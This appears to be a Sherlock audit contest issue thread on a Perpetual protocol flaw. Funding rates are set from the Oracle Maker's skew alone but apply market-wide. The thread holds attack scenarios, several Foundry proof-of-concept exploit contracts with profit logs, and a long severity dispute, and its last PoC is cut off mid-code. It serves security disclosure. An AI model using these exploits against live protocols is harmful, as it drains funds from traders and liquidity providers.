sherlock-audit / 2024-02-perpetual-judging

2 stars 2 forks source link

nirohgo - Funding Fee Rate is calculated based only on the Oracle Maker's skew but applied across the entire market, which enables an attacker to generate an extreme funding rate for a low cost and leverage that to their benefit #133

Open sherlock-admin4 opened 6 months ago

sherlock-admin4 commented 6 months ago

nirohgo

high

Funding Fee Rate is calculated based only on the Oracle Maker's skew but applied across the entire market, which enables an attacker to generate an extreme funding rate for a low cost and leverage that to their benefit

Summary

The fact that the Funding Fee rate is calculated only based on the Oracle Maker's position skew enables an exploiter to open a large long position on the Oracle Maker that generates an extreme funding fee paid by long takers, and then close the position (+open an opposite one) on the SpotHedge maker within the same block while maintaining the funding fee value and direction. This can be used to generate various attacks as detailed below.

Vulnerability Detail

Perpetual uses funding fee to balance between long and short positions, mainly to balance/reduce exposure of the Oracle Maker (from the docs: "In our system, having a funding fee will be beneficial for the Oracle Pool". Presumably for this reason the funding rate is calculated based only on the Oracle Maker's position skew as can be seen in this code snippet taken from the getCurrentFundingRate function (note that basePool is neccesarily the Oracle Maker since it is type-casted to OracleMaker in the code):

        // we can only use margin without pendingMargin as totalDepositedAmount
        // since pendingMargin includes pending borrowingFee and fundingFee,
        // it will be infinite loop dependency
        uint256 totalDepositedAmount = uint256(_getVault().getSettledMargin(marketId, fundingConfig.basePool));
        uint256 maxCapacity = FixedPointMathLib.divWad(
            totalDepositedAmount,
            uint256(OracleMaker(fundingConfig.basePool).minMarginRatio())
        );

However, the funding fee applies to any position in the market (as can be seen in the Vault::settlePosition function) which enables an exploiter to create a very high funding rate for a low cost by opening a large long position on the oracle maker and close the position immediately after on the HSBM maker (possibly also opening a short depending on the type of attack). Since the opposite position does not affect the funding rate (as it is settled with the SpotHedge maker), the funding rate will maintain its extreme value and its direction.

This maneuver can generate multiple types of attacks that can be conducted individually or combined:

A. Griefing/Liquidation attack - The attacker creates an extreme funding rate that causes immediate loss to position holders of the attacked direction, possibly making many positions liquidatable on the next block. This attack is conducted as follows:
A.1. Attacker opens a maximal long position on the oracle maker creating an extremely high funding rate paid by longs. A.2. Attacker closes their long position using the HSBM maker. This means the extreme high funding rate is unaffected since its calculated based on the oracle maker only. (A1 and A2 can be done in an atomic transaction from an attacker contract).
A.3. Starting from the next block any long position in the system incures a very high cost per block, likely making many positions liquidatable immediately.
A.4. The cost for the attacker is only the negative PnL caused by the spread between the oracle and HSBM makers. The attacker can offset the cost and make a profit by running a transaction at the start of the next block that liquidates all positions that were liquidated by the move (the attacker has information advantage over other liquidators and are likely to win the liquidations).

B. Profiting from large funding fee within one block by also opening a short (exfiltrating funds from the PnL pool).
B.1. the attack starts similarly to A: the attacker opens a maximal long position on the OM and then a counter short position on the HSBM maker, only this time the attacker also opens a short on the SpotHedge maker that gains the attacker funding fees starting from the next block.
B.2. The attacker can close the short position at the start of the next block to reduce risk, taking profit from the fee paid for the one block, in addition to liquidating any affected positions as in scenario A.
B.3. The cost of attack: negative PnL caused by spread between the two makers, plus borrowing fee. However because borrowing fee does not grow exponentially with utilization rate like the funding fee, it is covered by the funding fee with a profit.

C. Profiting from a large deposit to the oracle maker/withdraw within one block.
C.1. The attack runs the same as scenario A, only the attacker also makes a large deposit to the oracle maker, and withdraws on the next block.
C.2. Since share values take into account pending fees, the share value will increase significantly from one block to the next because the oracle maker will also get a high funding fee within that one block (this is because oracle maker also holds a large short position as a result of the attackers initial postion, that gets paid funding fee). Note that in this scenarion the attacker needs to verify that there is no expected loss to share value between these two blocks

The POC below shows how with reasonable market considitions the attacker can make a significant profit, specifically using only attack type B.

POC

The following POC shows the scenario where the attacker generates a high funding rate paid by longs, while opening a large short position for themselves, then on the next block the attacker closes the short with a significant gain from funding fee (while the HSBM maker pays the funding fee)

To run:
A. create a test.sol file under the perp-contract-v3/test/spotHedgeMaker/ folder and add the code below to it. B. Run forge test --match-test testFundingFeePOC -vv

// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity >=0.8.0;

import "forge-std/Test.sol";
import "../spotHedgeMaker/SpotHedgeBaseMakerForkSetup.sol";
import { OracleMaker } from "../../src/maker/OracleMaker.sol";
import "../../src/common/LibFormatter.sol";
import { SignedMath } from "@openzeppelin/contracts/utils/math/SignedMath.sol";

contract FundingFeeExploit is SpotHedgeBaseMakerForkSetup {

    using LibFormatter for int256;
    using LibFormatter for uint256;
    using SignedMath for int256;

    address public taker = makeAddr("Taker");
    address public exploiter = makeAddr("Exploiter");
    OracleMaker public oracle_maker;

    function setUp() public override {
        super.setUp();
        //create oracle maker
        oracle_maker = new OracleMaker();
        _enableInitialize(address(oracle_maker));
        oracle_maker.initialize(marketId, "OM", "OM", address(addressManager), priceFeedId, 1e18);
        config.registerMaker(marketId, address(oracle_maker));

        //PARAMETERS SETUP

        //fee setup
        //funding fee configs (taken from team tests) 
        config.setFundingConfig(marketId, 0.005e18, 1.3e18, address(oracle_maker));
        //borrowing fee 0.00000001 per second as in team tests
        config.setMaxBorrowingFeeRate(marketId, 10000000000, 10000000000);
        oracle_maker.setMaxSpreadRatio(0.1 ether); // 10% as in team tests

        //whitelist users
        oracle_maker.setValidSender(exploiter,true);
        oracle_maker.setValidSender(taker,true);

        //add more liquidity ($20M) to uniswap pool to simulate realistic slippage
        deal(address(baseToken), spotLp, 10000e9, true);
        deal(address(collateralToken), spotLp, 20000000e6, true);
        vm.startPrank(spotLp);
        uniswapV3NonfungiblePositionManager.mint(
            INonfungiblePositionManager.MintParams({
                token0: address(collateralToken),
                token1: address(baseToken),
                fee: 3000,
                tickLower: -887220,
                tickUpper: 887220,
                amount0Desired: collateralToken.balanceOf(spotLp),
                amount1Desired: baseToken.balanceOf(spotLp),
                amount0Min: 0,
                amount1Min: 0,
                recipient: spotLp,
                deadline: block.timestamp
            })
        );

        //mock the pyth price to be same as uniswap (set to ~$2000 in base class)
        pyth = IPyth(0xff1a0f4744e8582DF1aE09D5611b887B6a12925C);
        _mockPythPrice(2000,0);
    }

    function testFundingFeePOC() public {

        //deposit 5M collateral as margin for exploiter (also mints the amount)
        uint256 startQuote = 5000000*1e6;
       _deposit(marketId, exploiter, startQuote);
       console.log("Exploiter Quote balance at Start: %s\n", startQuote);

        //deposit to makers
        //initial HSBM maker deposit: 2000 base tokens ($4M)
       vm.startPrank(makerLp);
       deal(address(baseToken), makerLp, 2000*1e9, true);
       baseToken.approve(address(maker), type(uint256).max);
       maker.deposit(2000*1e9);

       //initial oracle maker deposit: $2M (1000 base tokens)
       deal(address(collateralToken), makerLp, 2000000*1e6, true); 
       collateralToken.approve(address(oracle_maker), type(uint256).max);
       oracle_maker.deposit(2000000*1e6);
       vm.stopPrank();

       //Also deposit collateral directly to SHBM to simulate some existing margin on the SHBM from previous activity
       _deposit(marketId, address(maker), 2000000*1e6);

       //Exploiter opens the maximum possible (-1000 base tokens) long on oracle maker
        vm.startPrank(exploiter);
        (int256 posBase, int256 openNotional) = clearingHouse.openPosition(
            IClearingHouse.OpenPositionParams({
                marketId: marketId,
                maker: address(oracle_maker),
                isBaseToQuote: false,
                isExactInput: false,
                amount: 1000*1e18,
                oppositeAmountBound:type(uint256).max,
                deadline: block.timestamp,
                makerData: ""
            })
        );

        //Exploiter opens maximum possible short on the HSBM maker changing their position to short 1000 (2000-1000)
        (posBase,openNotional) = clearingHouse.openPosition(
            IClearingHouse.OpenPositionParams({
                marketId: marketId,
                maker: address(maker),
                isBaseToQuote: true,
                isExactInput: true,
                amount: 2000 * 1e18,
                oppositeAmountBound:0,
                deadline: block.timestamp,
                makerData: ""
            })
        );
        console.log("Funding Fee Rate after short:");
        int256 ffeeRate = fundingFee.getCurrentFundingRate(marketId);
        console.logInt(ffeeRate);
        //OUTPUT:
        // Funding Fee Rate after short:
        //-388399804857866884

        //move to next block
        vm.warp(block.timestamp + 2 seconds);

        //Exploiter closes the short to realize gains
        int256 exploiterPosSize = vault.getPositionSize(marketId,address(exploiter));
        clearingHouse.openPosition(
            IClearingHouse.OpenPositionParams({
                marketId: marketId,
                maker: address(maker),
                isBaseToQuote: false,
                isExactInput: false,
                amount: exploiterPosSize.abs(),
                oppositeAmountBound:type(uint256).max,
                deadline: block.timestamp,
                makerData: ""
            })
        );

        //exploiter withdraws entirely
        int256 upDec = vault.getUnsettledPnl(marketId,address(exploiter));
        int256 stDec = vault.getSettledMargin(marketId,address(exploiter));
        int256 marg = stDec-upDec;
        uint256 margAbs = marg.abs();
        uint256 toWithdraw = margAbs.formatDecimals(INTERNAL_DECIMALS,collateralToken.decimals());
        vault.transferMarginToFund(marketId,toWithdraw);
        vault.withdraw(vault.getFund(exploiter));
        vm.stopPrank();

        uint256 finalQuoteBalance = collateralToken.balanceOf(address(exploiter));
        console.log("Exploiter Quote balance at End: %s", finalQuoteBalance);
        //OUTPUT: Exploiter Quote balance at End: 6098860645835
        //exploiter profit  = $6,098,860 - $5,000,000 = $1,098,860
    }
}

Impact

The various possible attacks detailed above generate immediate profits to the exploiter that can be withdrawn immediately if enough PnL exists in the pool, diluting the PnL pool on the expense of users and causing them financial loss from not being able to withdraw their profits. In addition, as detailed above many positions can be made liquidatable following the attack causing further damage.

Code Snippet

https://github.com/sherlock-audit/2024-02-perpetual/blob/02f17e70a23da5d71364268ccf7ed9ee7cedf428/perp-contract-v3/src/fundingFee/FundingFee.sol#L104

Tool used

Manual Review Foundry

Recommendations

To mitigate this issue it is essential to resolve the root cause: the fact that funding fee is set using only a part of the market (Oracle Maker). Instead, the entire market long/short positions should be used to determine the rate. This will prevent an exploiter from opening the counter position (that gains fee) without that position also affecting the funding rate.

sherlock-admin4 commented 6 months ago

2 comment(s) were left on this issue during the judging contest.

santipu_ commented:

Medium

takarez commented:

seem to be a dupp of 125 due to large deposit and the recommendation also; high(4)

vinta commented 6 months ago

Confirmed, valid! Thank you for reporting this issue!

paco0x commented 6 months ago

If an attacker intentionally open position to make the Oracle Maker imbalanced and close position on SpotHedge maker. The cost of this action is the maker swap fees (we'll have swap fees in later update).

We expect there'll be two kinds arbitrageurs come in to help balance Oracle Maker's position.

  1. The slippage of Oracle Maker becomes a positive premium when helping balance Oracle Maker, so arbitrageurs can open reverse position on SpotHedge maker and close on Oracle Maker and earn the premium right away.

  2. Arbitrageurs who're willing to earn funding fees can take over Oracle Maker's position and hedge the position else where, while receiving the funding fee.

In my opinion, this one is a medium and we might not fix it in the near future.

nirohgo commented 5 months ago

Escalate This should be a high according to Sherlock's definitions: Definite loss of funds without (extensive) limitations of external conditions. Inflicts serious non-material losses (doesn't include contract simply not working).

Since no explanation was given to why this got demoted to medium I'll assume this was following the sponsor's comments, which I'll address here:

  1. The sponsor mentioned maker swap fees that will be added in a later update and contribute to the cost of the attack, however these were not mentioned in the contest readme nor in the code and therefore should not affect severity but rather be considered a possible remediation method.
  2. The sponsor also mentions two types of arbitrageurs that are expected to balance the Oracle Maker's position, however arbitrageurs are irrelevant to this exploit because the attack is conducted within two consecutive blocks (first part block X, second part - block X+1). Since Optimism's mempool is private the attacker is the only one with pre-knowledge of phase 1, and can easily avoid being frontrun on block X+1.
  3. Regarding "The slippage of Oracle Maker becomes a positive premium when helping balance Oracle Maker" I believe this is inaccurate: When helping balance the Oracle Maker it gives exactly the Oracle price. Opening a reverse position on SpotHedge maker and closing on Oracle Maker involves some loss because of the SpotHedge maker price slippage (slightly worse than the oracle price due to Uniswap slippage/fees).

The POC clearly demonstrates:
A. a substantial financial loss (see POC output).
B. Without excessive reliance on external conditions.

sherlock-admin2 commented 5 months ago

Escalate This should be a high according to Sherlock's definitions: Definite loss of funds without (extensive) limitations of external conditions. Inflicts serious non-material losses (doesn't include contract simply not working).

Since no explanation was given to why this got demoted to medium I'll assume this was following the sponsor's comments, which I'll address here:

  1. The sponsor mentioned maker swap fees that will be added in a later update and contribute to the cost of the attack, however these were not mentioned in the contest readme nor in the code and therefore should not affect severity but rather be considered a possible remediation method.
  2. The sponsor also mentions two types of arbitrageurs that are expected to balance the Oracle Maker's position, however arbitrageurs are irrelevant to this exploit because the attack is conducted within two consecutive blocks (first part block X, second part - block X+1). Since Optimism's mempool is private the attacker is the only one with pre-knowledge of phase 1, and can easily avoid being frontrun on block X+1.
  3. Regarding "The slippage of Oracle Maker becomes a positive premium when helping balance Oracle Maker" I believe this is inaccurate: When helping balance the Oracle Maker it gives exactly the Oracle price. Opening a reverse position on SpotHedge maker and closing on Oracle Maker involves some loss because of the SpotHedge maker price slippage (slightly worse than the oracle price due to Uniswap slippage/fees).

The POC clearly demonstrates:
A. a substantial financial loss (see POC output).
B. Without excessive reliance on external conditions.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

IllIllI000 commented 5 months ago

If this one is High, then so is https://github.com/sherlock-audit/2024-02-perpetual-judging/issues/126 , because they both are the pattern X Fee Rate is calculated based only on the Y Maker's skew but applied across the entire market, which enables an attacker to generate an extreme X rate for a low cost and leverage that to their benefit, where X is either Funding or Borrowing and Y is either Oracle or SpotHedge

nevillehuang commented 5 months ago

I think I agree with @nirohgo and high severity here, subsequent update to fees shouldn't be considered if not make known initially.

gstoyanovbg commented 5 months ago

@nevillehuang You may want to consider the risks from this comment.

IllIllI000 commented 5 months ago

@nevillehuang the ability to attack the protocol depends on the values that the admin sets in the configuration. As I point out here, the attack can no longer be performed when the funding fee rate is reduced. I believe this prevents the severity from being High, since admins are trusted to use the right values for their protocol, or else they could just choose ones that 'happen' to cause an exploit, where Sherlock would be on the hook for it. It may even be Low if nirohgo can't show that it can be exploited regardless of the value that the admin sets.

WangSecurity commented 5 months ago

I believe this issue should indeed be high. I see that with not all values the attack is possible, but since the values were taken from other tests by the team, therefore, I think it's safe to assume that these values are intended and default. Hence, as of now, planning to accept the escalation and update the severity to high.

IllIllI000 commented 5 months ago

@paco0x there is only a single setting of the values for the parameters. Can you let us know what sort of ranges you expect for the funding parameters, so we can see how much this issue is affected by the expected values? The desmos calculator the docs links to has some ranges - are they representative?

paco0x commented 5 months ago

@paco0x there is only a single setting of the values for the parameters. Can you let us know what sort of ranges you expect for the funding parameters, so we can see how much this issue is affected by the expected values? The desmos calculator the docs links to has some ranges - are they representative?

Considering the potential issues, we'll not enable funding fee in our first version in production.

The approximate range of funding rate to begin with can be between 100% and 500% per year under max imbalance ratio. An example config can be:

FundingConfig {
    fundingFactor: 200% / 86400  (200% per year under max imbalance ratio)
    fundingExponentFactor: 1
}
IllIllI000 commented 5 months ago

@WangSecurity according to the above, the expected exponent is 1.0, but the test is using 1.3, which is an extreme value. When the test is changed to use 1.0, the attacker no longer shows a profit and instead shows a loss (even with changing the uniswap fee down to 0.05%). Since it's conditional on the admin choosing an extreme value, I don't think this finding can be a High. I believe the rules about admin-controlled values being an admin error and thus invalid, are in place so that people doing the judging contest can correctly decide severity without having to ask the sponsor for the expected values.

nirohgo commented 5 months ago

@WangSecurity I discussed possible values of these configs with @42bchen during the contest, his answer was that they don't yet know what production values are going to be (which makes sense as they need to be effective to incentivize the right behavior). Given that, their final values can only be known in production, and limiting them in order to avoid an exploit (even if done as a workaround) should not take away from the finding severity.

On another matter (@Evert0x ), is it within Sherlock rules for a watson to "escalate" a finding, post the escalation period? (and without risking their escalation ratio)? seems somewhat unfair.

IllIllI000 commented 5 months ago

The finding was escalated by the submitter in order to raise the severity, and I'm trying to show why it should not be. I don't see how pointing out the usual rules is an unfair argument as to why it should not be a High

WangSecurity commented 5 months ago

@nirohgo can you provide a screenshot or a link to these messages, just so I can be sure, still deciding on the severity and validity here and will provide my decision tomorrow. Thanks to both of watsons for being active on providing additional info

gstoyanovbg commented 5 months ago

I disagree that the administrator can prevent the exploitation of this vulnerability. That's why when I submitted my report, I chose High severity. The assertion that changing the exponent from 1.3 to 1.0 will make the exploit impossible is true only for the proof of concept shown in this report, but not as a whole. LP can influence the total amount of deposits, and by exploiting this, an attacker can make a profit. It is not mandatory for the position to be closed in the next block; it could be in the one after that, for example. A combined attack is possible by opening a position and changing the total deposited amount. There are many attack scenarios, but there are no limiting factors that make it impossible. Exploiting this vulnerability boils down to risk management in order to choose the right approach for the respective state of the protocol. I tried to explain this in my report, but my choice to show a different attack path from the obvious one led to the escalation of my report. I've said it before, but in my opinion, it cannot be expected that all possible ways to exploit a vulnerability will be presented in one report; it is not practical.

WangSecurity commented 5 months ago

I think medium severity is appropriate here. The attack is indeed profitable with 1.3e18, but unprofitable with 1.0e18. It's also profitable with 1.2e18, but unprofitable with 1.1e18. I see that the sponsor says the approximate funding exponent will be indeed 1. But, as we see from nirohgo point, he asked about it during the contest and the sponsor answered they don't know yet. Moreover, I don't the rule that the admin should always set the correct value can be applied here, cause (as I understand) setting the exponent to 1.2e18+ doesn't disrupt the work of the protocol, but opens a window for the attack. Hence, I see at as a valid attack with certain constraints and state to be executed profitably.

Hence, I'm planning to reject the escalation and leave the issue as it is.

nirohgo commented 5 months ago

@WangSecurity according to sherlock rules and definitions this should be a high. Your reasoning for medium rely on 1. a "counter escalation" that was made against sherlock rules (after escalation period was over) 2. against the information that was provided during the contest (the test config values plus communication that more precise values are not yet known) and therefore lower on Sherlock's hierarchy of truth.

WangSecurity commented 5 months ago

I'm judging it accroding to rules for Medium Severity:

Causes a loss of funds but requires certain external conditions or specific states, or a loss is highly constrained.

  1. There is only one escalation that was raised by you. Another Watson is just giving his points why this should remain invalid and it's not against the rules.
  2. My judging is not based on the info regarding funding exponent provided after the contest. If it was based on it, then this finding would be invalid. But medium severity is based on that fact, that if funding exponent is 1.3e18 or 1.2e18 the attack is profitable. If it's 1.1e18 or 1.0e18 then it's unprofittable. Hence, "requires certain external conditions or specific states".

My decision remains the same: reject the escalation and leave the issue as it is.

nirohgo commented 5 months ago

@WangSecurity every finding requires some conditions or specific states. (for example #123, which was accepted as High, requires that there be two offline Pyth price updates that were not reported onchain yet at that the price diff between them enables the attack). My point in the case of this finding is that (given the information available during the audit - that production configs are not known and only provided estimate is the one in the tests) is there is no reason to believe 1.1e18 or 1.0e18 are more likely than 1.3e18 or 1.2e18. Therefore I do not believe that specific handpicked exponent values where the attack does not work should count as a strong enough dependency on certain external conditions or specific states to make this a medium. Also, the severity of loss (as displayed in the POC) should also be taken into account here when determining the severity. (from my experience many accepted high's on sherlock may not work given specific config settings, and yet still count as high because they will occur with reasonably set configs and cause significant loss).

WangSecurity commented 5 months ago

@nirohgo I see your points and I'm open to discussing them, but before that I would like to get a small clarification from your side. In issue #116 you say that setting "the OM max spread to a larger value than the price band setting", i.e. admin setting the values that open a window for the vulnerability is an admin error. But in that case admin setting the values that open a window for the vulnerability is not an admin error. I understand it's two completely different issues, but I believe in both cases the trusted admin rule should be applied correctly. What do you think about it?

gstoyanovbg commented 5 months ago

@WangSecurity Perhaps my question is naive, but what is the intuition behind the statement that the attack is not profitable with 1.0e18? I examined nirohgo's proof of concept in more detail, and in my opinion, the problem with it is that there is not enough liquidity in the corresponding range, leading to significant slippage. I added liquidity to the respective range, and the attack became profitable. I reduced the fee from 0.3 to 0.05 to show a greater profit, but with 0.3, smaller profits are also possible.

Modified POC ```solidity contract FundingFeeExploit is SpotHedgeBaseMakerForkSetup { using LibFormatter for int256; using LibFormatter for uint256; using SignedMath for int256; address public taker = makeAddr("Taker"); address public exploiter = makeAddr("Exploiter"); OracleMaker public oracle_maker; function setUp() public override { super.setUp(); //create oracle maker oracle_maker = new OracleMaker(); _enableInitialize(address(oracle_maker)); oracle_maker.initialize(marketId, "OM", "OM", address(addressManager), priceFeedId, 1e18); config.registerMaker(marketId, address(oracle_maker)); //PARAMETERS SETUP //fee setup //funding fee configs (taken from team tests) config.setFundingConfig(marketId, 0.005e18, 1.0e18, address(oracle_maker)); //borrowing fee 0.00000001 per second as in team tests config.setMaxBorrowingFeeRate(marketId, 10000000000, 10000000000); oracle_maker.setMaxSpreadRatio(0.1 ether); // 10% as in team tests //whitelist users oracle_maker.setValidSender(exploiter,true); oracle_maker.setValidSender(taker,true); //add more liquidity ($20M) to uniswap pool to simulate realistic slippage deal(address(baseToken), spotLp, 2500e9, true); deal(address(collateralToken), spotLp, 5000000e6, true); vm.startPrank(spotLp); uniswapV3NonfungiblePositionManager.mint( INonfungiblePositionManager.MintParams({ token0: address(collateralToken), token1: address(baseToken), fee: 500, tickLower: -6940, tickUpper: -6920, amount0Desired: collateralToken.balanceOf(spotLp), amount1Desired: baseToken.balanceOf(spotLp), amount0Min: 0, amount1Min: 0, recipient: spotLp, deadline: block.timestamp }) ); //(, int24 tick, , , , , ) = IUniswapV3PoolState(uniswapV3SpotPool).slot0(); //console.logInt(tick); //mock the pyth price to be same as uniswap (set to ~$2000 in base class) pyth = IPyth(0xff1a0f4744e8582DF1aE09D5611b887B6a12925C); _mockPythPrice(2000,0); } function testFundingFeePOC() public { //deposit 5M collateral as margin for exploiter (also mints the amount) uint256 startQuote = 5000000*1e6; _deposit(marketId, exploiter, startQuote); console.log("Exploiter Quote balance at Start: %s\n", startQuote); //deposit to makers //initial HSBM maker deposit: 2000 base tokens ($4M) vm.startPrank(makerLp); deal(address(baseToken), makerLp, 2000*1e9, true); baseToken.approve(address(maker), type(uint256).max); maker.deposit(2000*1e9); //initial oracle maker deposit: $2M (1000 base tokens) deal(address(collateralToken), makerLp, 2000000*1e6, true); collateralToken.approve(address(oracle_maker), type(uint256).max); oracle_maker.deposit(2000000*1e6); vm.stopPrank(); //Also deposit collateral directly to SHBM to simulate some existing margin on the SHBM from previous activity _deposit(marketId, address(maker), 2000000*1e6); //Exploiter opens the maximum possible (-1000 base tokens) long on oracle maker vm.startPrank(exploiter); (int256 posBase, int256 openNotional) = clearingHouse.openPosition( IClearingHouse.OpenPositionParams({ marketId: marketId, maker: address(oracle_maker), isBaseToQuote: false, isExactInput: false, amount: 1000*1e18, oppositeAmountBound:type(uint256).max, deadline: block.timestamp, makerData: "" }) ); //Exploiter opens maximum possible short on the HSBM maker changing their position to short 1000 (2000-1000) (posBase,openNotional) = clearingHouse.openPosition( IClearingHouse.OpenPositionParams({ marketId: marketId, maker: address(maker), isBaseToQuote: true, isExactInput: true, amount: 2000 * 1e18, oppositeAmountBound:0, deadline: block.timestamp, makerData: "" }) ); console.log("Funding Fee Rate after short:"); int256 ffeeRate = fundingFee.getCurrentFundingRate(marketId); console.logInt(ffeeRate); //OUTPUT: // Funding Fee Rate after short: //-388399804857866884 //move to next block vm.warp(block.timestamp + 2 seconds); //Exploiter closes the short to realize gains int256 exploiterPosSize = vault.getPositionSize(marketId,address(exploiter)); clearingHouse.openPosition( IClearingHouse.OpenPositionParams({ marketId: marketId, maker: address(maker), isBaseToQuote: false, isExactInput: false, amount: exploiterPosSize.abs(), oppositeAmountBound:type(uint256).max, deadline: block.timestamp, makerData: "" }) ); //exploiter withdraws entirely int256 upDec = vault.getUnsettledPnl(marketId,address(exploiter)); int256 stDec = vault.getSettledMargin(marketId,address(exploiter)); int256 marg = stDec-upDec; uint256 margAbs = marg.abs(); uint256 toWithdraw = margAbs.formatDecimals(INTERNAL_DECIMALS,collateralToken.decimals()); vault.transferMarginToFund(marketId,toWithdraw); vault.withdraw(vault.getFund(exploiter)); vm.stopPrank(); uint256 finalQuoteBalance = collateralToken.balanceOf(address(exploiter)); console.log("Exploiter Quote balance at End: %s", finalQuoteBalance); //OUTPUT: Exploiter Quote balance at End: 6098860645835 //exploiter profit = $6,098,860 - $5,000,000 = $1,098,860 } } ```
Logs:
  Exploiter Quote balance at Start: 5000000000000

  Funding Fee Rate after short:
  -4999999999999999

  Exploiter Quote balance at End: 5016509239587
IllIllI000 commented 5 months ago

You deposited $5M and reduced the tick range from 1774440 ticks to only 20 ticks. I don't think that's likely to happen either

nirohgo commented 5 months ago

@nirohgo I see your points and I'm open to discussing them, but before that I would like to get a small clarification from your side. In issue #116 you say that setting "the OM max spread to a larger value than the price band setting", i.e. admin setting the values that open a window for the vulnerability is an admin error. But in that case admin setting the values that open a window for the vulnerability is not an admin error. I understand it's two completely different issues, but I believe in both cases the trusted admin rule should be applied correctly. What do you think about it?

@WangSecurity #116 depends on admins setting a specific boundary (max OM spread) to a value higher then the overriding general boundary (price band). This is a clear admin error even without the finding or liquidations (whenever the OM price exceeds the price band transactions will fail). In this case there is no logical error is setting the exponent config to a specific value, the exponent needs to create a curve that's efficient enough to incentivize the market to reduce risk. As the team specified during the contest the exact value is unknown (the best initial guess was the test value).

WangSecurity commented 5 months ago

First, the attack depends on the actions of a TRUSTED admin (setting funding exponent). Other external factors, like the liquidity and ticks, are also required for a successful attack. That's why I believe Medium is appropriate for this report.

Planning to reject the escalation and leave the issue as it is.

gstoyanovbg commented 5 months ago
  1. The exploiter can deposit the necessary liquidity at a specific small price range in the pool in order to not trigger significant slippage ?
  2. The exploiter can just choose such a position size so that the slippage is minimal (just need to observe what is the available liquidity at specific price range)?

These are not external factors because the attacker can control them. Do you agree that 1) and 2) are possible ? If so this would mean that the attack doesn't depend on trusted admin action because the attack would be profitable for all 1.0e18, 1.1e18, 1.2e18 and 1.3e18.

IllIllI000 commented 5 months ago

depositing liquidity and having yourself trade against it, without you also pushing the price back in your favor before withdrawing it, will result in impermanent loss, which is a cost that you yourself will have to pay back

gstoyanovbg commented 5 months ago

The exploiter would deposit within the current price range, which already has significant liquidity. Therefore, the deposit wouldn't be as large. The exploiter wouldn't withdraw immediately after the attack but would wait a sufficient amount of time before doing so in order to recover the losses. Even if the profit and losses from the attack are equal for the attacker, it still results in a loss for the maker and is thus a valid attack with no additional constraints. Please correct me if I am wrong.

Also what do you think about 2) ?

IllIllI000 commented 5 months ago

Assumes the price will move back in your favor, and that someone 'pays you back' for the amount you pushed it. For 2, you'd have to show a valid poc, and I suspect that nirohgo didn't go along with your initial suggestion, because there's some confounding factor.

IllIllI000 commented 5 months ago

If you're planning on providing a poc, please make sure it works will all values that the admin can set, so we can avoid extra endless discussions about whether the value is valid or not

gstoyanovbg commented 5 months ago

@IllIllI000 I can prepare a new POC if it is needed but should know what more is expected from the new POC. In my previous POC, I showed that the attack is profitable even if the exponent is 1.0e18. The same POC works for 1.1e18, 1.2e18 as well. Your consideration was that the range is too small for such large liquidity but this was just for simplicity. If you look into the test pool, you will see that the initial liquidity is only 100 base tokens and 2,000,000 collateral tokens for the range [-887,220, 887,220]. For comparison, in the USDC/ETH pool on Uniswap, there is >200 million TVL and at each of the ticks around the active one, there are around 300,000 liquidity. Should I simulate something like this?

Assumes the price will move back in your favor, and that someone 'pays you back' for the amount you pushed it. For 2, you'd have to show a valid poc, and I suspect that nirohgo didn't go along with your https://github.com/sherlock-audit/2024-02-perpetual-judging/issues/133#issuecomment-2074641984 suggestion, because there's some confounding factor.

I think that the market will restore the real price in the pool. Moreover the fees will also help to recover the losses. I already mentioned that the important thing here is to have losses for the maker in order to have an attack. Equal losses/profits for the attacker or even a small loss is not a problem. However i believe that the attack is profitable for the exploiter too.

If nirohgo thinks that the adjustment that i made to the POC is not correct is free to comment.

@WangSecurity What do you think ?

IllIllI000 commented 5 months ago

Hi @gstoyanovbg if you look through the escalations that I have commented on, you'll see that I've spent many hours countering claims, over multiple days, for uncertain benefit. I hope you'll understand if I don't continue this here by thinking of all the possible scenarios, and laying out a poc framework for you, solely for my detriment. What I'll say about your specific point is that nirohgo's POC used a wide tick range in order to simulate a normal market, where the attacker didn't have to introduce special externalities in order to use the uniswap pool. By adding extra liquidity and a specific tick range, you are adding an externality that has to be accounted for. You need to not do that. I believe you'd need to show that the admin parameters have zero effect on whether or not a profit can be made, over normal uniswap/market scenarios that happen very frequently in order for this to become a high.

gstoyanovbg commented 5 months ago

I don't think that the range from the nirohgo's POC is a good example for a normal Uniswap V3 pool. The main idea of Uniswap V3 is to concentrate liquidity in a specific range. Logically, the primary available liquidity is concentrated around the current price. To avoid making unfounded claims, I will use the USDC/ETH (0.05) pool on Uniswap V3 as an example which has 200m TVL. Screenshot from 2024-04-25 02-23-42

From the graph, you can see how liquidity is distributed, with it being insignificant at the left end - around 30k per tick. The range of prices is [2565, 3827]. The price at the moment is 3133. The percentage difference between the current price and that at the left end of the range is about 22%. Similarly for the right boundary, the percentage is the same. I attempted to simulate something like this in the new POC. The numbers are as follows:

In my opinion, this scenario is realistic enough, even more unfavorable than reality due to the even distribution of liquidity. The results are as follows:

1.0e18:

Exploiter Quote balance at Start: 5000000000000
Funding Fee Rate after short: -4999999999999999
Exploiter Quote balance at End: 5013664397043

1.1e18

Exploiter Quote balance at Start: 5000000000000
Funding Fee Rate after short: -21334035032232417
Exploiter Quote balance at End: 5078754700088

1.2e18

Exploiter Quote balance at Start: 5000000000000
Funding Fee Rate after short: -91028210151304013
Exploiter Quote balance at End: 5356482461172
POC ```solidity contract FundingFeeExploit is SpotHedgeBaseMakerForkSetup { using LibFormatter for int256; using LibFormatter for uint256; using SignedMath for int256; address public taker = makeAddr("Taker"); address public exploiter = makeAddr("Exploiter"); OracleMaker public oracle_maker; function setUp() public override { super.setUp(); //create oracle maker oracle_maker = new OracleMaker(); _enableInitialize(address(oracle_maker)); oracle_maker.initialize(marketId, "OM", "OM", address(addressManager), priceFeedId, 1e18); config.registerMaker(marketId, address(oracle_maker)); //PARAMETERS SETUP //fee setup //funding fee configs (taken from team tests) config.setFundingConfig(marketId, 0.005e18, 1.0e18, address(oracle_maker)); //borrowing fee 0.00000001 per second as in team tests config.setMaxBorrowingFeeRate(marketId, 10000000000, 10000000000); oracle_maker.setMaxSpreadRatio(0.1 ether); // 10% as in team tests //whitelist users oracle_maker.setValidSender(exploiter,true); oracle_maker.setValidSender(taker,true); //add more liquidity ($20M) to uniswap pool to simulate realistic slippage deal(address(baseToken), spotLp, 45000e9, true); deal(address(collateralToken), spotLp, 90000000e6, true); vm.startPrank(spotLp); uniswapV3NonfungiblePositionManager.mint( INonfungiblePositionManager.MintParams({ token0: 